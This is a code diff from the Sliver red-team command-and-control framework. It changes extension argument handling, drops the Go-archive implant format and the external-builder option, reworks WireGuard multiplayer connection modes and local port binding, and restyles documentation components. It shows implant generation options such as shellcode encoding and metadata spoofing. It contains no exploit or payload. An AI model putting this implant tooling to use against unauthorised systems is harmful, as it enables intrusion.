// DisableFlagParsing keeps the extension's own flags (which are unknown to
// pflag) from being silently stripped together with their values. We split
// Sliver-owned flags out of the raw slice ourselves in runExtensionCmd (#2309).
DisableFlagParsing: true,
Annotations: makeCommandPlatformFilters(extCmd),
GroupID: consts.ExtensionHelpGroup,
Annotations: makeCommandPlatformFilters(extCmd),
}
// Flags
@@ -383,6 +379,7 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
f.BoolP("save", "s", false, "Save output to disk")
f.Int64P("timeout", "t", defaultTimeout, "command timeout in seconds")
extensionCmd.Flags().AddFlagSet(f)
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
// Completions
comps := carapace.Gen(extensionCmd)
@@ -532,18 +529,6 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
}
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// The command runs with DisableFlagParsing, so args is the raw, unstripped
// slice. Separate Sliver-owned flags from the extension's own arguments and
// re-publish them on the flag set (so Request()'s --timeout still works),
// then feed only the extension arguments to the BOF/DLL parsers (#2309).
save, timeout, helpRequested, extArgs := splitExtensionArgs(args)
if helpRequested {
_ = cmd.Help()
return
}
applyOwnedFlags(cmd, save, timeout)
args = extArgs
var (
err error
extensionArgs []byte
+2 -2
View File
@@ -159,7 +159,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("save", "s", "", "directory/file to the binary to")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
f.BoolP("external-builder", "E", false, "use an external builder")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
@@ -367,7 +367,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
bindSpoofMetadataFlag(f)
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'archive' (for Go c-archives), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
// Shellcode generation options:
// - Windows: Donut
-24
View File
@@ -24,30 +24,6 @@ func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
}
func TestProfilesGenerateExternalBuilderFlagRegistered(t *testing.T) {
cmds := Commands(&console.SliverClient{})
profilesCmd := commandByUse(cmds, consts.ProfilesStr)
if profilesCmd == nil {
t.Fatalf("missing %q command", consts.ProfilesStr)
}
profilesGenerateCmd := commandByUse(profilesCmd.Commands(), consts.GenerateStr)
if profilesGenerateCmd == nil {
t.Fatalf("missing %q subcommand under %q", consts.GenerateStr, consts.ProfilesStr)
}
flag := profilesGenerateCmd.Flags().Lookup("external-builder")
if flag == nil {
t.Fatalf("%q missing %q flag", profilesGenerateCmd.Use, "external-builder")
}
if flag.Shorthand != "E" {
t.Fatalf("%q %q flag shorthand mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.Shorthand, "E")
}
if flag.DefValue != "false" {
t.Fatalf("%q %q flag default mismatch: got=%q want=%q", profilesGenerateCmd.Use, "external-builder", flag.DefValue, "false")
}
}
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
t.Helper()
-5
View File
@@ -254,8 +254,6 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Service"
case clientpb.OutputFormat_SHARED_LIB:
return "Shared Library"
case clientpb.OutputFormat_GO_ARCHIVE:
return "Go Archive"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
@@ -391,9 +389,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
case "archive":
configFormat = clientpb.OutputFormat_GO_ARCHIVE
isSharedLib = true
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
+1 -1
View File
@@ -197,7 +197,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action {
func FormatCompleter() carapace.Action {
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
return carapace.ActionValues([]string{
"exe", "shared", "archive", "service", "shellcode",
"exe", "shared", "service", "shellcode",
}...).Tag("implant format")
})
}
@@ -1,13 +0,0 @@
package generate
import (
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
func TestNameOfOutputFormatGoArchive(t *testing.T) {
if got := nameOfOutputFormat(clientpb.OutputFormat_GO_ARCHIVE); got != "Go Archive" {
t.Fatalf("nameOfOutputFormat(GO_ARCHIVE) = %q, want %q", got, "Go Archive")
}
}
+3 -22
View File
@@ -19,7 +19,6 @@ package generate
*/
import (
"fmt"
"os"
"strings"
@@ -82,27 +81,9 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
}
} else {
_, err := externalBuild(implantName, profile.Config, nil, save, con)
if err != nil {
switch err {
case ErrNoExternalBuilder:
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
case ErrNoValidBuilders:
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", profile.Config.Format, profile.Config.GOOS, profile.Config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
default:
con.PrintErrorf("%s\n", err)
}
return
}
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
-2
View File
@@ -263,8 +263,6 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["format"] = "Executable"
case clientpb.OutputFormat_SHARED_LIB:
properties["format"] = "Shared Library"
case clientpb.OutputFormat_GO_ARCHIVE:
properties["format"] = "Go Archive"
case clientpb.OutputFormat_SERVICE:
properties["format"] = "Service"
case clientpb.OutputFormat_SHELLCODE:
-1
View File
@@ -79,7 +79,6 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if result.OS == "windows" {
options = append(options,
@@ -84,7 +84,6 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if result.OS == "windows" {
options = append(options,
-2
View File
@@ -22,7 +22,6 @@ type targetOptionBindings struct {
var formatOptionOrder = []formatOption{
{format: clientpb.OutputFormat_EXECUTABLE, label: "Executable", value: "exe"},
{format: clientpb.OutputFormat_SHARED_LIB, label: "Shared library", value: "shared"},
{format: clientpb.OutputFormat_GO_ARCHIVE, label: "Go archive", value: "archive"},
{format: clientpb.OutputFormat_SERVICE, label: "Service", value: "service"},
{format: clientpb.OutputFormat_SHELLCODE, label: "Shellcode", value: "shellcode"},
}
@@ -60,7 +59,6 @@ func commonFormatOptions(goos string) []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
huh.NewOption("Go archive", "archive"),
}
if goos == "windows" {
options = append(options,
+3 -3
View File
@@ -11,8 +11,8 @@ import (
type MultiplayerConnectMode int
const (
MultiplayerConnectDirect MultiplayerConnectMode = iota
MultiplayerConnectEnableWG
MultiplayerConnectAuto MultiplayerConnectMode = iota
MultiplayerConnectDisableWG
)
type connectionCloser interface {
@@ -21,7 +21,7 @@ type connectionCloser interface {
var (
multiplayerConnectModeMu sync.RWMutex
multiplayerConnectMode = MultiplayerConnectDirect
multiplayerConnectMode = MultiplayerConnectAuto
connClosers sync.Map // *grpc.ClientConn -> connectionCloser
)
+6 -3
View File
@@ -105,13 +105,16 @@ func selectMultiplayerDialStrategy(config *assets.ClientConfig) (multiplayerDial
}
switch getMultiplayerConnectMode() {
case MultiplayerConnectEnableWG:
case MultiplayerConnectDisableWG:
return multiplayerDialDirect, nil
default:
if config.WG == nil {
return multiplayerDialDirect, nil
}
if err := validateWireGuardConfig(config); err != nil {
return multiplayerDialDirect, err
}
return multiplayerDialWireGuard, nil
default:
return multiplayerDialDirect, nil
}
}
+8 -34
View File
@@ -11,7 +11,7 @@ import (
)
func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{})
if err != nil {
@@ -22,34 +22,8 @@ func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
}
}
func TestSelectMultiplayerDialStrategyDefaultIgnoresIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
ServerPubKey: "server-pub",
ClientIP: "100.64.0.2",
},
})
if err != nil {
t.Fatalf("select dial strategy: %v", err)
}
if strategy != multiplayerDialDirect {
t.Fatalf("expected direct mTLS strategy, got %v", strategy)
}
}
func TestSelectMultiplayerDialStrategyEnableWGRejectsMissingWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
_, err := selectMultiplayerDialStrategy(&assets.ClientConfig{})
if !errors.Is(err, ErrMissingWireGuardConfig) {
t.Fatalf("expected missing WG config error, got %v", err)
}
}
func TestSelectMultiplayerDialStrategyEnableWGRejectsIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
func TestSelectMultiplayerDialStrategyRejectsIncompleteWGConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
_, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -62,8 +36,8 @@ func TestSelectMultiplayerDialStrategyEnableWGRejectsIncompleteWGConfig(t *testi
}
}
func TestSelectMultiplayerDialStrategyEnableWGUsesWireGuardWhenConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectEnableWG)
func TestSelectMultiplayerDialStrategyUsesWireGuardWhenConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -80,8 +54,8 @@ func TestSelectMultiplayerDialStrategyEnableWGUsesWireGuardWhenConfigComplete(t
}
}
func TestSelectMultiplayerDialStrategyDefaultUsesDirectMTLSEvenWhenWGConfigComplete(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
func TestSelectMultiplayerDialStrategyDisableWGOverridesCompleteConfig(t *testing.T) {
setTestMultiplayerConnectMode(t, MultiplayerConnectDisableWG)
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{
WG: &assets.ClientWGConfig{
@@ -94,7 +68,7 @@ func TestSelectMultiplayerDialStrategyDefaultUsesDirectMTLSEvenWhenWGConfigCompl
t.Fatalf("select dial strategy: %v", err)
}
if strategy != multiplayerDialDirect {
t.Fatalf("expected direct strategy when WG is not explicitly enabled, got %v", strategy)
t.Fatalf("expected direct strategy when WG is disabled, got %v", strategy)
}
}
+2 -107
View File
@@ -31,10 +31,6 @@ const (
var (
ErrMissingWireGuardConfig = errors.New("operator config has no wg block")
ErrIncompleteWireGuardConfig = errors.New("operator config has incomplete wg block")
multiplayerWireGuardIdleTimeout = 5 * time.Second
wireGuardTunnelCacheMu sync.Mutex
wireGuardTunnelCache = map[string]*cachedWireGuardTunnel{}
)
type wireGuardTunnel struct {
@@ -44,19 +40,6 @@ type wireGuardTunnel struct {
closeOnce sync.Once
}
type cachedWireGuardTunnel struct {
tunnel *wireGuardTunnel
target string
timer *time.Timer
}
type idleWireGuardTunnelCloser struct {
key string
tunnel *wireGuardTunnel
target string
}
func (t *wireGuardTunnel) Close() error {
if t == nil {
return nil
@@ -77,14 +60,6 @@ func (t *wireGuardTunnel) DialContext(ctx context.Context, address string) (net.
return t.net.DialContext(ctx, "tcp", address)
}
func (c *idleWireGuardTunnelCloser) Close() error {
if c == nil || c.key == "" || c.tunnel == nil {
return nil
}
cacheIdleWireGuardTunnel(c.key, c.tunnel, c.target)
return nil
}
func wireGuardMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
deadline := time.Now().Add(multiplayerWireGuardDialTimeout)
var lastErr error
@@ -94,7 +69,7 @@ func wireGuardMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn)
attempts++
notifyConnectStatus(statusFn, connectStatusWireGuard)
cacheKey, tunnel, target, err := acquireWireGuardTunnel(config)
tunnel, target, err := newWireGuardTunnel(config)
if err != nil {
return nil, nil, err
}
@@ -111,11 +86,7 @@ func wireGuardMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn)
notifyConnectStatus(statusFn, connectStatusGRPCMTLSOverWireGuard)
rpcClient, conn, err := dialRPCClient(target, options, nil)
if err == nil {
registerConnCloser(conn, &idleWireGuardTunnelCloser{
key: cacheKey,
tunnel: tunnel,
target: target,
})
registerConnCloser(conn, tunnel)
return rpcClient, conn, nil
}
@@ -133,82 +104,6 @@ func wireGuardMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn)
return nil, nil, lastErr
}
func acquireWireGuardTunnel(config *assets.ClientConfig) (string, *wireGuardTunnel, string, error) {
key, err := wireGuardTunnelCacheKey(config)
if err != nil {
return "", nil, "", err
}
wireGuardTunnelCacheMu.Lock()
if cached := wireGuardTunnelCache[key]; cached != nil && cached.tunnel != nil {
delete(wireGuardTunnelCache, key)
if cached.timer != nil {
cached.timer.Stop()
cached.timer = nil
}
tunnel := cached.tunnel
target := cached.target
wireGuardTunnelCacheMu.Unlock()
return key, tunnel, target, nil
}
wireGuardTunnelCacheMu.Unlock()
tunnel, target, err := newWireGuardTunnel(config)
if err != nil {
return "", nil, "", err
}
return key, tunnel, target, nil
}
func cacheIdleWireGuardTunnel(key string, tunnel *wireGuardTunnel, target string) {
if key == "" || tunnel == nil {
return
}
wireGuardTunnelCacheMu.Lock()
previous := wireGuardTunnelCache[key]
cached := &cachedWireGuardTunnel{
tunnel: tunnel,
target: target,
}
wireGuardTunnelCache[key] = cached
if previous != nil && previous.timer != nil {
previous.timer.Stop()
}
cached.timer = time.AfterFunc(multiplayerWireGuardIdleTimeout, func() {
wireGuardTunnelCacheMu.Lock()
current := wireGuardTunnelCache[key]
if current != cached || current == nil {
wireGuardTunnelCacheMu.Unlock()
return
}
delete(wireGuardTunnelCache, key)
current.timer = nil
tunnel := current.tunnel
wireGuardTunnelCacheMu.Unlock()
if tunnel != nil {
_ = tunnel.Close()
}
})
wireGuardTunnelCacheMu.Unlock()
if previous != nil && previous.tunnel != nil {
_ = previous.tunnel.Close()
}
}
func wireGuardTunnelCacheKey(config *assets.ClientConfig) (string, error) {
if err := validateWireGuardConfig(config); err != nil {
return "", err
}
return strings.Join([]string{
strings.TrimSpace(config.LHost),
strconv.Itoa(config.LPort),
strings.TrimSpace(config.WG.ServerPubKey),
strings.TrimSpace(config.WG.ClientPrivateKey),
strings.TrimSpace(config.WG.ClientIP),
strings.TrimSpace(config.WG.ServerIP),
}, "\x00"), nil
}
func newWireGuardTunnel(config *assets.ClientConfig) (*wireGuardTunnel, string, error) {
if err := validateWireGuardConfig(config); err != nil {
return nil, "", err
+38 -2
View File
@@ -3,6 +3,7 @@ package transport
import (
"context"
"crypto/rand"
"errors"
"fmt"
"math/big"
insecurerand "math/rand"
@@ -32,6 +33,7 @@ type transportTun struct {
notifyHandle *channel.NotificationHandle
incomingPacket chan *buffer.View
mtu int
primaryAddr netip.Addr
hasV4 bool
hasV6 bool
}
@@ -41,6 +43,8 @@ type transportNet transportTun
const (
transportTCPReceiveBufferMax = 8 << 20
transportTCPSendBufferMax = 6 << 20
transportTCPBindPortMin = 49152
transportTCPBindPortSpan = 65535 - transportTCPBindPortMin + 1
)
func createTransportNetTUN(localAddresses []netip.Addr, mtu int) (tun.Device, *transportNet, error) {
@@ -88,6 +92,9 @@ func createTransportNetTUN(localAddresses []netip.Addr, mtu int) (tun.Device, *t
if tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{}); tcpipErr != nil {
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
}
if !dev.primaryAddr.IsValid() {
dev.primaryAddr = ip
}
if ip.Is4() {
dev.hasV4 = true
} else if ip.Is6() {
@@ -240,8 +247,12 @@ func convertTransportFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip
}
func (netstack *transportNet) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertTransportFullAddr(addr)
return gonet.DialContextTCP(ctx, netstack.stack, fa, pn)
remoteAddr, pn := convertTransportFullAddr(addr)
localAddr, err := netstack.randomTCPBindAddr()
if err != nil {
return nil, err
}
return gonet.DialTCPWithBind(ctx, netstack.stack, localAddr, remoteAddr, pn)
}
func (netstack *transportNet) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
@@ -265,3 +276,28 @@ func (netstack *transportNet) DialContext(ctx context.Context, network, address
}
return netstack.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(addr, uint16(port)))
}
func (netstack *transportNet) randomTCPBindAddr() (tcpip.FullAddress, error) {
if netstack == nil || !netstack.primaryAddr.IsValid() {
return tcpip.FullAddress{}, errors.New("wireguard transport has no local address")
}
port, err := randomTransportTCPBindPort()
if err != nil {
return tcpip.FullAddress{}, err
}
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.AddrFromSlice(netstack.primaryAddr.AsSlice()),
Port: port,
}, nil
}
func randomTransportTCPBindPort() (uint16, error) {
n, err := rand.Int(rand.Reader, big.NewInt(transportTCPBindPortSpan))
if err != nil {
return 0, fmt.Errorf("failed to choose random wireguard TCP bind port: %w", err)
}
return uint16(transportTCPBindPortMin + n.Int64()), nil
}
@@ -0,0 +1,45 @@
package transport
import (
"net/netip"
"testing"
)
func TestRandomTransportTCPBindPortUsesEphemeralRange(t *testing.T) {
for attempt := 0; attempt < 16; attempt++ {
port, err := randomTransportTCPBindPort()
if err != nil {
t.Fatalf("choose random tcp bind port: %v", err)
}
if port < transportTCPBindPortMin {
t.Fatalf("expected bind port >= %d, got %d", transportTCPBindPortMin, port)
}
if 65535 < port {
t.Fatalf("expected bind port <= 65535, got %d", port)
}
}
}
func TestRandomTCPBindAddrUsesPrimaryTransportAddress(t *testing.T) {
netstack := &transportNet{
primaryAddr: netip.MustParseAddr("100.65.0.2"),
}
localAddr, err := netstack.randomTCPBindAddr()
if err != nil {
t.Fatalf("random tcp bind addr: %v", err)
}
if localAddr.NIC != 1 {
t.Fatalf("expected local bind NIC 1, got %d", localAddr.NIC)
}
got, ok := netip.AddrFromSlice(localAddr.Addr.AsSlice())
if !ok {
t.Fatal("expected local bind address to be parseable")
}
if got != netstack.primaryAddr {
t.Fatalf("expected local bind IP %s, got %s", netstack.primaryAddr, got)
}
if localAddr.Port < transportTCPBindPortMin {
t.Fatalf("expected local bind port >= %d, got %d", transportTCPBindPortMin, localAddr.Port)
}
}
-86
View File
@@ -1,86 +0,0 @@
package transport
import (
"testing"
"time"
"github.com/bishopfox/sliver/client/assets"
)
func TestWireGuardTunnelCacheKeyIncludesConfigMaterial(t *testing.T) {
config := &assets.ClientConfig{
LHost: "127.0.0.1",
LPort: 31337,
WG: &assets.ClientWGConfig{
ServerPubKey: "server-pub",
ClientPrivateKey: "client-priv",
ClientIP: "100.65.0.2",
ServerIP: "100.65.0.1",
},
}
key1, err := wireGuardTunnelCacheKey(config)
if err != nil {
t.Fatalf("cache key: %v", err)
}
config.WG.ClientPrivateKey = "other-client-priv"
key2, err := wireGuardTunnelCacheKey(config)
if err != nil {
t.Fatalf("cache key after config change: %v", err)
}
if key1 == key2 {
t.Fatal("expected cache key to change when wireguard config changes")
}
}
func TestCacheIdleWireGuardTunnelRemovesIdleTunnel(t *testing.T) {
resetWireGuardTunnelCacheForTest(t)
previousIdleTimeout := multiplayerWireGuardIdleTimeout
multiplayerWireGuardIdleTimeout = 10 * time.Millisecond
t.Cleanup(func() {
multiplayerWireGuardIdleTimeout = previousIdleTimeout
})
const cacheKey = "test-cache-key"
cacheIdleWireGuardTunnel(cacheKey, &wireGuardTunnel{}, "100.65.0.1:31337")
deadline := time.Now().Add(250 * time.Millisecond)
for time.Now().Before(deadline) {
wireGuardTunnelCacheMu.Lock()
_, exists := wireGuardTunnelCache[cacheKey]
wireGuardTunnelCacheMu.Unlock()
if !exists {
return
}
time.Sleep(5 * time.Millisecond)
}
t.Fatal("expected idle tunnel cache entry to be removed")
}
func resetWireGuardTunnelCacheForTest(t *testing.T) {
t.Helper()
wireGuardTunnelCacheMu.Lock()
for key, shared := range wireGuardTunnelCache {
if shared != nil && shared.timer != nil {
shared.timer.Stop()
}
delete(wireGuardTunnelCache, key)
}
wireGuardTunnelCacheMu.Unlock()
t.Cleanup(func() {
wireGuardTunnelCacheMu.Lock()
for key, shared := range wireGuardTunnelCache {
if shared != nil && shared.timer != nil {
shared.timer.Stop()
}
delete(wireGuardTunnelCache, key)
}
wireGuardTunnelCacheMu.Unlock()
})
}
+2 -71
View File
@@ -3,8 +3,6 @@ import React from "react";
type AsciinemaPlayerProps = {
src: string;
className?: string;
hideControls?: boolean;
cols?: string;
rows?: string;
@@ -20,67 +18,10 @@ type AsciinemaPlayerProps = {
fontSize?: string;
};
function AsciinemaPlayer({
src,
className,
hideControls,
cols,
rows,
autoPlay,
preload,
loop,
startAt,
speed,
idleTimeLimit,
theme,
poster,
fit,
fontSize,
}: AsciinemaPlayerProps) {
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
const ref = React.useRef<HTMLDivElement>(null);
const [prefersReducedMotion, setPrefersReducedMotion] = React.useState(false);
const [player, setPlayer] =
React.useState<typeof import("asciinema-player")>();
const asciinemaOptions = React.useMemo(
() => ({
autoPlay: prefersReducedMotion ? false : autoPlay,
cols,
controls: hideControls ? false : undefined,
fit,
fontSize,
idleTimeLimit,
loop: prefersReducedMotion ? false : loop,
poster,
preload,
rows,
speed,
startAt,
theme,
}),
[
autoPlay,
cols,
fit,
fontSize,
hideControls,
idleTimeLimit,
loop,
poster,
preload,
prefersReducedMotion,
rows,
speed,
startAt,
theme,
],
);
React.useEffect(() => {
const mediaQuery = window.matchMedia("(prefers-reduced-motion: reduce)");
const syncPreference = () => setPrefersReducedMotion(mediaQuery.matches);
syncPreference();
mediaQuery.addEventListener("change", syncPreference);
return () => mediaQuery.removeEventListener("change", syncPreference);
}, []);
React.useEffect(() => {
import("asciinema-player").then((p) => {
setPlayer(p);
@@ -94,17 +35,7 @@ function AsciinemaPlayer({
};
}, [src, player, asciinemaOptions]);
return (
<div
ref={ref}
className={[
className,
hideControls ? "sliver-asciinema-controls-hidden" : undefined,
]
.filter(Boolean)
.join(" ")}
/>
);
return <div ref={ref} />;
}
export default AsciinemaPlayer;
+5 -2
View File
@@ -60,8 +60,11 @@ const CodeViewer = (props: CodeViewerProps) => {
props.script.source_code
);
const [fontSize, setFontSize] = React.useState(props.fontSize || 13);
const editorContainerClassName =
"col-span-12 mt-4 overflow-hidden rounded-2xl border border-separator bg-surface-secondary";
const editorContainerClassName = React.useMemo(() => {
return theme === Themes.DARK
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
}, [theme]);
return (
<div className={editorContainerClassName}>
@@ -3,9 +3,8 @@ import React from "react";
const LoadingState: React.FC = () => {
return (
<div className="flex min-h-[55vh] w-full items-center justify-center gap-3 text-muted">
<Spinner aria-label="Loading" />
<span className="text-sm">Loading documentation…</span>
<div className="flex min-h-screen w-full items-center justify-center">
<Spinner label="Loading ..." labelColor="foreground" />
</div>
);
};
+43 -53
View File
@@ -27,7 +27,6 @@ import Youtube from "./youtube";
export type MarkdownProps = {
markdown: string;
demoteTopLevelHeading?: boolean;
};
type MarkdownAsciiCast = {
@@ -122,12 +121,12 @@ const slugify = (value: string) => {
};
const headingClassNames: Record<HeadingLevel, string> = {
1: "mt-12 text-3xl font-semibold tracking-tight text-foreground first:mt-0",
2: "mt-12 text-2xl font-semibold tracking-tight text-foreground",
3: "mt-9 text-xl font-semibold tracking-tight text-foreground",
4: "mt-8 text-lg font-semibold tracking-tight text-foreground",
5: "mt-7 text-base font-semibold tracking-tight text-foreground",
6: "mt-7 text-base font-semibold tracking-tight text-foreground",
1: "mt-12 text-3xl font-semibold tracking-tight text-slate-900 first:mt-0 dark:text-slate-100",
2: "mt-10 text-2xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
3: "mt-8 text-xl font-semibold tracking-tight text-slate-900 dark:text-slate-100",
4: "mt-6 text-lg font-semibold tracking-tight text-slate-900 dark:text-slate-100",
5: "mt-6 text-base font-semibold tracking-tight text-slate-900 dark:text-slate-100",
6: "mt-6 text-base font-semibold uppercase tracking-wide text-slate-700 dark:text-slate-300",
};
const MarkdownViewer = (props: MarkdownProps) => {
@@ -219,9 +218,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
}
const anchor = anchorRef.current;
const renderedLevel =
level === 1 && props.demoteTopLevelHeading ? 2 : level;
const HeadingTag = `h${renderedLevel}`;
const HeadingTag = `h${level}`;
return createElement(
HeadingTag,
@@ -229,7 +226,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
...rest,
id: anchor || undefined,
className: mergeClassNames(
headingClassNames[renderedLevel],
headingClassNames[level],
"scroll-mt-[70px]",
className
),
@@ -239,8 +236,8 @@ const MarkdownViewer = (props: MarkdownProps) => {
{anchor && (
<a
href={`#${anchor}`}
aria-label={`Link to ${textContent}`}
className="-my-2 inline-flex size-10 items-center justify-center rounded-xl text-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-accent/40 hover:bg-surface-secondary hover:text-accent"
aria-label="Copy link to section"
className="inline-flex h-6 w-6 items-center justify-center rounded-md text-slate-400 transition focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-primary/40 focus-visible:ring-offset-2 hover:text-primary dark:text-slate-500"
>
<svg
aria-hidden="true"
@@ -286,12 +283,12 @@ const MarkdownViewer = (props: MarkdownProps) => {
h5: createHeadingComponent(5),
h6: createHeadingComponent(6),
};
}, [getAnchor, props.demoteTopLevelHeading]);
}, [getAnchor]);
const proseClassName = mergeClassNames(
"markdown-body prose max-w-none leading-7",
theme === Themes.DARK ? "dark:prose-invert prose-slate" : "prose-slate",
"prose-code:font-mono prose-img:rounded-2xl"
"prose-pre:bg-slate-950/90 prose-pre:text-slate-100 prose-code:font-mono prose-img:rounded-xl"
);
return (
@@ -310,7 +307,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
{...rest}
href={href}
className={mergeClassNames(
"font-medium text-accent underline-offset-4 hover:underline",
"font-medium text-primary transition-colors duration-150 hover:text-primary-dark",
className
)}
onClick={(e) => {
@@ -345,7 +342,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
}
const anchorClassName = mergeClassNames(
"font-medium text-accent underline-offset-4 hover:underline",
"font-medium text-primary transition-colors duration-150 underline-offset-4 hover:text-primary-dark",
className
);
@@ -379,7 +376,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<p
{...rest}
className={mergeClassNames(
"my-6 text-base leading-7 text-foreground/80",
"my-6 text-base leading-7 text-slate-700 dark:text-slate-300",
className
)}
>
@@ -394,7 +391,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<ul
{...rest}
className={mergeClassNames(
"my-6 list-disc space-y-2 pl-6 text-foreground/80 marker:text-accent",
"my-6 list-disc space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
className
)}
>
@@ -409,7 +406,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<ol
{...rest}
className={mergeClassNames(
"my-6 list-decimal space-y-2 pl-6 text-foreground/80 marker:text-accent",
"my-6 list-decimal space-y-2 pl-6 text-slate-700 marker:text-primary dark:text-slate-300",
className
)}
>
@@ -424,7 +421,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<li
{...rest}
className={mergeClassNames(
"leading-6 text-foreground/80",
"leading-6 text-slate-700 dark:text-slate-300",
className
)}
>
@@ -439,7 +436,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<blockquote
{...rest}
className={mergeClassNames(
"my-8 rounded-r-2xl border-l-4 border-accent/40 bg-surface-secondary px-6 py-4 text-base italic text-foreground/80",
"my-8 border-l-4 border-slate-200 bg-slate-50 px-6 py-4 text-base italic text-slate-700 shadow-sm dark:border-slate-700 dark:bg-slate-900/50 dark:text-slate-300",
className
)}
>
@@ -454,7 +451,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<hr
{...rest}
className={mergeClassNames(
